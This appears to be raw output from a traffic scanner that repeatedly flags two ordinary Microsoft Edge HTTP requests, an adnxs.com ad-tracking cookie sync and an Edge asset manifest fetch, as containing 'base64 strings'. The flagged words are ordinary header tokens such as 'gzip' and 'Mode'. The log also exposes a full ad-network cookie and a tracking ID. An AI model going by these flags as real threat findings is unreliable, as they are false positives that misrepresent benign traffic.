Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Cookie: anj=dTM7k!M4.FE:2jUF']wIg2E?cq-)Cf!]tbPl1N!y*v_#NUa*CcSjN55W'8QkQrTNH>rYPriority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"X-Edge-Shopping-Flag: 1Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "Mode" in header "GET /mapuid?member=280&user=222166F75FD3671F181970045E3D66DC;&gdpr=0&gdpr_consent=&redir=https%3A%2F%2Fm.adnxs.com%2Fseg%3Fadd%3D5159620%26redir%3Dhttps%253A%252F%252Fib.adnxs.com%252Fsetuid%253Fentity%253D483%2526code%253D222166F75FD3671F181970045E3D66DC%2526gdpr%253D0%2526gdpr_consent%253D HTTP/2Host: m.adnxs.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Cookie: anj=dTM7k!M4.FE:2jUF']wIg2E?cq-)Cf!]tbPl1N!y*v_#NUa*CcSjN55W'8QkQrTNH>rYPriority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"X-Edge-Shopping-Flag: 1Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "Site" in header "GET /mapuid?member=280&user=222166F75FD3671F181970045E3D66DC;&gdpr=0&gdpr_consent=&redir=https%3A%2F%2Fm.adnxs.com%2Fseg%3Fadd%3D5159620%26redir%3Dhttps%253A%252F%252Fib.adnxs.com%252Fsetuid%253Fentity%253D483%2526code%253D222166F75FD3671F181970045E3D66DC%2526gdpr%253D0%2526gdpr_consent%253D HTTP/2Host: m.adnxs.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Cookie: anj=dTM7k!M4.FE:2jUF']wIg2E?cq-)Cf!]tbPl1N!y*v_#NUa*CcSjN55W'8QkQrTNH>rYPriority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"X-Edge-Shopping-Flag: 1Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "Language" in header "GET /mapuid?member=280&user=222166F75FD3671F181970045E3D66DC;&gdpr=0&gdpr_consent=&redir=https%3A%2F%2Fm.adnxs.com%2Fseg%3Fadd%3D5159620%26redir%3Dhttps%253A%252F%252Fib.adnxs.com%252Fsetuid%253Fentity%253D483%2526code%253D222166F75FD3671F181970045E3D66DC%2526gdpr%253D0%2526gdpr_consent%253D HTTP/2Host: m.adnxs.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Cookie: anj=dTM7k!M4.FE:2jUF']wIg2E?cq-)Cf!]tbPl1N!y*v_#NUa*CcSjN55W'8QkQrTNH>rYPriority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"X-Edge-Shopping-Flag: 1Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "2jUF" in header "GET /mapuid?member=280&user=222166F75FD3671F181970045E3D66DC;&gdpr=0&gdpr_consent=&redir=https%3A%2F%2Fm.adnxs.com%2Fseg%3Fadd%3D5159620%26redir%3Dhttps%253A%252F%252Fib.adnxs.com%252Fsetuid%253Fentity%253D483%2526code%253D222166F75FD3671F181970045E3D66DC%2526gdpr%253D0%2526gdpr_consent%253D HTTP/2Host: m.adnxs.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Cookie: anj=dTM7k!M4.FE:2jUF']wIg2E?cq-)Cf!]tbPl1N!y*v_#NUa*CcSjN55W'8QkQrTNH>rYPriority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"X-Edge-Shopping-Flag: 1Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "CcSjN55W" in header "GET /mapuid?member=280&user=222166F75FD3671F181970045E3D66DC;&gdpr=0&gdpr_consent=&redir=https%3A%2F%2Fm.adnxs.com%2Fseg%3Fadd%3D5159620%26redir%3Dhttps%253A%252F%252Fib.adnxs.com%252Fsetuid%253Fentity%253D483%2526code%253D222166F75FD3671F181970045E3D66DC%2526gdpr%253D0%2526gdpr_consent%253D HTTP/2Host: m.adnxs.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Cookie: anj=dTM7k!M4.FE:2jUF']wIg2E?cq-)Cf!]tbPl1N!y*v_#NUa*CcSjN55W'8QkQrTNH>rYPriority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"X-Edge-Shopping-Flag: 1Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "QrP7" in header "GET /mapuid?member=280&user=222166F75FD3671F181970045E3D66DC;&gdpr=0&gdpr_consent=&redir=https%3A%2F%2Fm.adnxs.com%2Fseg%3Fadd%3D5159620%26redir%3Dhttps%253A%252F%252Fib.adnxs.com%252Fsetuid%253Fentity%253D483%2526code%253D222166F75FD3671F181970045E3D66DC%2526gdpr%253D0%2526gdpr_consent%253D HTTP/2Host: m.adnxs.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Cookie: anj=dTM7k!M4.FE:2jUF']wIg2E?cq-)Cf!]tbPl1N!y*v_#NUa*CcSjN55W'8QkQrTNH>rYPriority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"X-Edge-Shopping-Flag: 1Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "s/xJ" in header "GET /mapuid?member=280&user=222166F75FD3671F181970045E3D66DC;&gdpr=0&gdpr_consent=&redir=https%3A%2F%2Fm.adnxs.com%2Fseg%3Fadd%3D5159620%26redir%3Dhttps%253A%252F%252Fib.adnxs.com%252Fsetuid%253Fentity%253D483%2526code%253D222166F75FD3671F181970045E3D66DC%2526gdpr%253D0%2526gdpr_consent%253D HTTP/2Host: m.adnxs.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Cookie: anj=dTM7k!M4.FE:2jUF']wIg2E?cq-)Cf!]tbPl1N!y*v_#NUa*CcSjN55W'8QkQrTNH>rYPriority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"X-Edge-Shopping-Flag: 1Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "8Sec" in header "GET /mapuid?member=280&user=222166F75FD3671F181970045E3D66DC;&gdpr=0&gdpr_consent=&redir=https%3A%2F%2Fm.adnxs.com%2Fseg%3Fadd%3D5159620%26redir%3Dhttps%253A%252F%252Fib.adnxs.com%252Fsetuid%253Fentity%253D483%2526code%253D222166F75FD3671F181970045E3D66DC%2526gdpr%253D0%2526gdpr_consent%253D HTTP/2Host: m.adnxs.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Cookie: anj=dTM7k!M4.FE:2jUF']wIg2E?cq-)Cf!]tbPl1N!y*v_#NUa*CcSjN55W'8QkQrTNH>rYPriority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"X-Edge-Shopping-Flag: 1Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "Edge" in header "GET /mapuid?member=280&user=222166F75FD3671F181970045E3D66DC;&gdpr=0&gdpr_consent=&redir=https%3A%2F%2Fm.adnxs.com%2Fseg%3Fadd%3D5159620%26redir%3Dhttps%253A%252F%252Fib.adnxs.com%252Fsetuid%253Fentity%253D483%2526code%253D222166F75FD3671F181970045E3D66DC%2526gdpr%253D0%2526gdpr_consent%253D HTTP/2Host: m.adnxs.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Cookie: anj=dTM7k!M4.FE:2jUF']wIg2E?cq-)Cf!]tbPl1N!y*v_#NUa*CcSjN55W'8QkQrTNH>rYPriority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"X-Edge-Shopping-Flag: 1Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "Chromium" in header "GET /mapuid?member=280&user=222166F75FD3671F181970045E3D66DC;&gdpr=0&gdpr_consent=&redir=https%3A%2F%2Fm.adnxs.com%2Fseg%3Fadd%3D5159620%26redir%3Dhttps%253A%252F%252Fib.adnxs.com%252Fsetuid%253Fentity%253D483%2526code%253D222166F75FD3671F181970045E3D66DC%2526gdpr%253D0%2526gdpr_consent%253D HTTP/2Host: m.adnxs.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Cookie: anj=dTM7k!M4.FE:2jUF']wIg2E?cq-)Cf!]tbPl1N!y*v_#NUa*CcSjN55W'8QkQrTNH>rYPriority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"X-Edge-Shopping-Flag: 1Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "Platform" in header "GET /mapuid?member=280&user=222166F75FD3671F181970045E3D66DC;&gdpr=0&gdpr_consent=&redir=https%3A%2F%2Fm.adnxs.com%2Fseg%3Fadd%3D5159620%26redir%3Dhttps%253A%252F%252Fib.adnxs.com%252Fsetuid%253Fentity%253D483%2526code%253D222166F75FD3671F181970045E3D66DC%2526gdpr%253D0%2526gdpr_consent%253D HTTP/2Host: m.adnxs.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Cookie: anj=dTM7k!M4.FE:2jUF']wIg2E?cq-)Cf!]tbPl1N!y*v_#NUa*CcSjN55W'8QkQrTNH>rYPriority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"X-Edge-Shopping-Flag: 1Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "Shopping" in header "GET /mapuid?member=280&user=222166F75FD3671F181970045E3D66DC;&gdpr=0&gdpr_consent=&redir=https%3A%2F%2Fm.adnxs.com%2Fseg%3Fadd%3D5159620%26redir%3Dhttps%253A%252F%252Fib.adnxs.com%252Fsetuid%253Fentity%253D483%2526code%253D222166F75FD3671F181970045E3D66DC%2526gdpr%253D0%2526gdpr_consent%253D HTTP/2Host: m.adnxs.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Cookie: anj=dTM7k!M4.FE:2jUF']wIg2E?cq-)Cf!]tbPl1N!y*v_#NUa*CcSjN55W'8QkQrTNH>rYPriority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"X-Edge-Shopping-Flag: 1Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "Flag" in header "GET /mapuid?member=280&user=222166F75FD3671F181970045E3D66DC;&gdpr=0&gdpr_consent=&redir=https%3A%2F%2Fm.adnxs.com%2Fseg%3Fadd%3D5159620%26redir%3Dhttps%253A%252F%252Fib.adnxs.com%252Fsetuid%253Fentity%253D483%2526code%253D222166F75FD3671F181970045E3D66DC%2526gdpr%253D0%2526gdpr_consent%253D HTTP/2Host: m.adnxs.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Cookie: anj=dTM7k!M4.FE:2jUF']wIg2E?cq-)Cf!]tbPl1N!y*v_#NUa*CcSjN55W'8QkQrTNH>rYPriority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"X-Edge-Shopping-Flag: 1Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "Encoding" in header "GET /mapuid?member=280&user=222166F75FD3671F181970045E3D66DC;&gdpr=0&gdpr_consent=&redir=https%3A%2F%2Fm.adnxs.com%2Fseg%3Fadd%3D5159620%26redir%3Dhttps%253A%252F%252Fib.adnxs.com%252Fsetuid%253Fentity%253D483%2526code%253D222166F75FD3671F181970045E3D66DC%2526gdpr%253D0%2526gdpr_consent%253D HTTP/2Host: m.adnxs.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Cookie: anj=dTM7k!M4.FE:2jUF']wIg2E?cq-)Cf!]tbPl1N!y*v_#NUa*CcSjN55W'8QkQrTNH>rYPriority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"X-Edge-Shopping-Flag: 1Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "gzip" in header "GET /mapuid?member=280&user=222166F75FD3671F181970045E3D66DC;&gdpr=0&gdpr_consent=&redir=https%3A%2F%2Fm.adnxs.com%2Fseg%3Fadd%3D5159620%26redir%3Dhttps%253A%252F%252Fib.adnxs.com%252Fsetuid%253Fentity%253D483%2526code%253D222166F75FD3671F181970045E3D66DC%2526gdpr%253D0%2526gdpr_consent%253D HTTP/2Host: m.adnxs.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Cookie: anj=dTM7k!M4.FE:2jUF']wIg2E?cq-)Cf!]tbPl1N!y*v_#NUa*CcSjN55W'8QkQrTNH>rYPriority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"X-Edge-Shopping-Flag: 1Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "Dest" in header "GET /mapuid?member=280&user=222166F75FD3671F181970045E3D66DC;&gdpr=0&gdpr_consent=&redir=https%3A%2F%2Fm.adnxs.com%2Fseg%3Fadd%3D5159620%26redir%3Dhttps%253A%252F%252Fib.adnxs.com%252Fsetuid%253Fentity%253D483%2526code%253D222166F75FD3671F181970045E3D66DC%2526gdpr%253D0%2526gdpr_consent%253D HTTP/2Host: m.adnxs.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Cookie: anj=dTM7k!M4.FE:2jUF']wIg2E?cq-)Cf!]tbPl1N!y*v_#NUa*CcSjN55W'8QkQrTNH>rYPriority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"X-Edge-Shopping-Flag: 1Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "/assets/edge" in header "GET /assets/edge_hub_apps_manifest_gz/4.11.81/asset?assetgroup=Shoreline HTTP/2Host: edgeassetservice.azureedge.netUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsEdge-Asset-Group: ShorelineSec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9Priority: u=4, iAccept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "apps" in header "GET /assets/edge_hub_apps_manifest_gz/4.11.81/asset?assetgroup=Shoreline HTTP/2Host: edgeassetservice.azureedge.netUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsEdge-Asset-Group: ShorelineSec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9Priority: u=4, iAccept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "manifest" in header "GET /assets/edge_hub_apps_manifest_gz/4.11.81/asset?assetgroup=Shoreline HTTP/2Host: edgeassetservice.azureedge.netUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsEdge-Asset-Group: ShorelineSec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9Priority: u=4, iAccept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "gz/4" in header "GET /assets/edge_hub_apps_manifest_gz/4.11.81/asset?assetgroup=Shoreline HTTP/2Host: edgeassetservice.azureedge.netUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsEdge-Asset-Group: ShorelineSec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9Priority: u=4, iAccept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "81/asset" in header "GET /assets/edge_hub_apps_manifest_gz/4.11.81/asset?assetgroup=Shoreline HTTP/2Host: edgeassetservice.azureedge.netUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsEdge-Asset-Group: ShorelineSec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9Priority: u=4, iAccept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "edgeassetservice" in header "GET /assets/edge_hub_apps_manifest_gz/4.11.81/asset?assetgroup=Shoreline HTTP/2Host: edgeassetservice.azureedge.netUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsEdge-Asset-Group: ShorelineSec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9Priority: u=4, iAccept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "like" in header "GET /assets/edge_hub_apps_manifest_gz/4.11.81/asset?assetgroup=Shoreline HTTP/2Host: edgeassetservice.azureedge.netUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsEdge-Asset-Group: ShorelineSec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9Priority: u=4, iAccept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "0Sec" in header "GET /assets/edge_hub_apps_manifest_gz/4.11.81/asset?assetgroup=Shoreline HTTP/2Host: edgeassetservice.azureedge.netUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsEdge-Asset-Group: ShorelineSec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9Priority: u=4, iAccept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "Mode" in header "GET /assets/edge_hub_apps_manifest_gz/4.11.81/asset?assetgroup=Shoreline HTTP/2Host: edgeassetservice.azureedge.netUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsEdge-Asset-Group: ShorelineSec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9Priority: u=4, iAccept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "corsEdge" in header "GET /assets/edge_hub_apps_manifest_gz/4.11.81/asset?assetgroup=Shoreline HTTP/2Host: edgeassetservice.azureedge.netUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsEdge-Asset-Group: ShorelineSec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9Priority: u=4, iAccept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "ShorelineSec" in header "GET /assets/edge_hub_apps_manifest_gz/4.11.81/asset?assetgroup=Shoreline HTTP/2Host: edgeassetservice.azureedge.netUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsEdge-Asset-Group: ShorelineSec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9Priority: u=4, iAccept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "Site" in header "GET /assets/edge_hub_apps_manifest_gz/4.11.81/asset?assetgroup=Shoreline HTTP/2Host: edgeassetservice.azureedge.netUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsEdge-Asset-Group: ShorelineSec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9Priority: u=4, iAccept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "Language" in header "GET /assets/edge_hub_apps_manifest_gz/4.11.81/asset?assetgroup=Shoreline HTTP/2Host: edgeassetservice.azureedge.netUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsEdge-Asset-Group: ShorelineSec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9Priority: u=4, iAccept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "Encoding" in header "GET /assets/edge_hub_apps_manifest_gz/4.11.81/asset?assetgroup=Shoreline HTTP/2Host: edgeassetservice.azureedge.netUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsEdge-Asset-Group: ShorelineSec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9Priority: u=4, iAccept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "gzip" in header "GET /assets/edge_hub_apps_manifest_gz/4.11.81/asset?assetgroup=Shoreline HTTP/2Host: edgeassetservice.azureedge.netUser-Agent: Mozilla/5.0 (Windows NT 10.0; 